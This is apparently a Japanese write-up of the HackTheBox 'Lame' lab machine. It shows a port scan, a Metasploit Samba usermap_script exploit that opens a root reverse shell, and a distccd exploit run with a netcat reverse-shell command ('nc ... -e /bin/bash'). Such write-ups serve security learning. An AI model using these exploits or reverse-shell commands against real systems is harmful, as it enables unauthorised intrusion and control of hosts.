🔥
HackTheBox Lame
Lame
侵入
nmap
ポートスキャンを行う
┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.3 -oN nmap.log
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 2.3.4
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.12
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
21、22、139、445、3632番ポートを確認
searchsploit
バージョンを知ることができたので、脆弱性が公開されていないか調べる
┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ searchsploit samba 1 ⨯
---------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
3.0.20 で2つの脆弱性を発見
上の脆弱性は、シェルのメタ文字を含むユーザ名を指定することで、任意のコードが実行できる
metasploit
脆弱性を利用するための、認証は必要ないらしいので、脳死で実行を試みる
┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ msfconsole
msf6 > search samba
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
8 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 25, use 25 or use exploit/windows/http/sambar6_search_results
8番目で該当の脆弱性を発見
msf6 > use 8
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(multi/samba/usermap_script) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
options で確認したところ、アドレスが必要だったので、設定する
root としてのシェル
run
正しく設定できたので、実行する
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
[*] Command shell session 1 opened (10.10.14.12:4444 -> 10.10.10.3:37068) at 2022-09-26 23:09:35 +0900
> whoami
root
> id
uid=0(root) gid=0(root)
一気に root が取得できた
user フラグ
> ls -l
-rw-r--r-- 1 makis makis 33 Sep 26 09:52 user.txt
> cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
フラグ取得
root フラグ
> ls -l
-rw------- 1 root root 33 Sep 26 09:52 root.txt
> cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
問題なく取得できた
別道
distccd v1
今回、Samba のバージョンによる脆弱性で一度に root が取れたが、侵入においては、他にもアプローチある
3632/tcp open distccd syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
nmap により、3632番ポートが、distccd v1 であることが判明している
exploit を github で検索すると、コードがヒットするので、実行する
┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ python lame_exploit.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.12 5555 -e /bin/bash"
[OK] Connected to remote service
5555番で待ち受ける
┌──(kali㉿kali)-[~/Desktop/Lame]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 42379
whoami
daemon
daemon のシェルを取得することができる(daemon から権限昇格は出来なかった)
github -> https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855
所感
今回のボックスは、一つの脆弱性だけで簡単に攻略できてしまった。終わると、ユーザの評価が easy に多いことに納得がいった。
Discussion